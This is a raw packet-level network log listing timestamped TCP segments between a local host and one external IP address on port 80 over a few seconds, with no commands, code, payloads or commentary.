                                                        Dec 18, 2024 09:19:27.550231934 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.600217104 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.679763079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.679893017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.679961920 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.680319071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.680372000 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.680419922 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.681437016 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.681448936 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.681488991 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.682696104 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.682713985 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.682760954 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.683259964 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.683372021 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.683418989 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.684288025 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.684340954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.684384108 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.685395956 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.685409069 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.685446024 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.686278105 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.686402082 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.686448097 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.687252998 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.687500954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.687546968 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.688282967 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.688371897 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.688453913 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.689301968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.689364910 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.689408064 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.690460920 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.690475941 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.690511942 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.691215038 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.691320896 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.691364050 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.692501068 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.698970079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.699033022 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.699084997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.699561119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.699609041 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.699723005 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.700571060 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.700619936 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.700628996 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.701589108 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.701651096 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.701669931 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.702518940 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.702568054 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.702670097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.703526020 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.703569889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.703592062 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.704495907 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.704545975 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.704579115 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.705588102 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.705629110 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.705631018 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.706492901 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.706546068 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.706650972 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.707482100 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.707537889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.707555056 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.708595991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.708609104 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.708643913 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.709453106 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.709506989 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.709645033 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.710511923 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.710562944 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.710597038 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.711554050 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.711596966 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.711663961 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.712629080 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.712641954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.712680101 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.713606119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.713650942 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.713907003 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.714569092 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.714589119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.714615107 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.715475082 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.715542078 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.715553999 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.716465950 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.716511011 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.716542006 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.717685938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.717698097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.717731953 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.718482971 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.718496084 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.718529940 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.719578028 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.719588995 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.719624043 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.720453024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.720499039 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.720900059 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.721477985 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.721519947 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.721613884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.722543001 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.722585917 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.722619057 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.723476887 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.723690987 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.723783016 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.724513054 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.724526882 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.724562883 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.725464106 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.725517988 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.725580931 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.726491928 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.726531982 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.726603985 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.727611065 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.727624893 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.727653980 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.728487968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.728534937 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.728566885 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.729533911 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.729576111 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.729603052 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.730499983 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.730550051 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.730581045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.731470108 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.731515884 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.731579065 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.732503891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.732551098 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.732626915 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.733467102 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.733513117 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.733583927 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.734460115 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.734513044 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.734580040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.735476017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.735522032 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.735652924 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.736519098 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.736565113 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.736721992 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.737495899 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.737543106 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.737577915 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.738483906 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.738543987 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.738545895 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.739464045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.739505053 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.739574909 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.740633965 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.740645885 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.740673065 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.741559029 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.741602898 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.741631031 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.865885019 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.866020918 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.866092920 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.866422892 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.866508007 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.866549015 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.867522955 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.867536068 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.867587090 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.868486881 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.868609905 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.868647099 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.870054960 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.870066881 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.870105028 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.870446920 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.870655060 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.870695114 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.871530056 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.871716976 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.871757030 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.872454882 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.872648001 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.872689009 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.874250889 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.874267101 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.874308109 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.874392033 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.874567032 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.874602079 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.890156984 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.890482903 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.890492916 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.890568972 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.890590906 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.890642881 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.891550064 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.891571999 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.891618967 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.892613888 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.892627001 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.892669916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.893801928 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.893817902 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.893861055 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.894562006 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.894588947 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.894632101 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.895642042 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.895654917 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.895701885 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.896538973 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.896588087 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.896636963 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.897516012 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.897586107 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.897634029 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.898495913 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.898509979 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.898556948 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.900410891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.900424004 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.900465965 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.900469065 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.900578022 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.900616884 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.901532888 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.901545048 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.901581049 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.902436972 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.902584076 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.902631998 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.903436899 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.903621912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.903661966 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.904489040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.904629946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.904669046 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.905695915 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.905709028 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.905755997 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.906744957 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.906757116 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.906794071 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.907452106 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.907653093 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.907692909 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.908742905 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.908756018 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.908797026 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.909462929 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.910109997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.910147905 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.910482883 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.910904884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.910969973 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.912195921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.912209034 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.912235975 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.912487030 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.912501097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.912548065 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.913575888 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.913589001 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.913629055 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.914480925 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.914562941 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.914599895 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.915466070 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.915568113 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.915606022 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.916522980 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.916661024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.916697025 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.917509079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.917659998 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.917694092 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.918684006 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.918697119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.918732882 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.919531107 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.919543982 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.919580936 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.920454979 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.920567989 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.920603037 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.921538115 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.921587944 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.921628952 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.922470093 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.922627926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.922671080 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.923584938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.923619986 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.923660040 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.924422026 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.924501896 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.924545050 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:28.352305889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:29.437278032 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:29.556802034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:29.556977034 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:29.557383060 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:29.676882029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053320885 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053348064 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053359985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053549051 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053560972 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053572893 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053584099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053596020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053618908 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.053618908 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.053618908 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.053663015 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.053822041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.053833961 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.054014921 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.173374891 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.173393011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.173507929 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.177483082 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.225205898 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:31.261472940 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:31.261487961 CET8049716139.99.188.124192.168.2.7
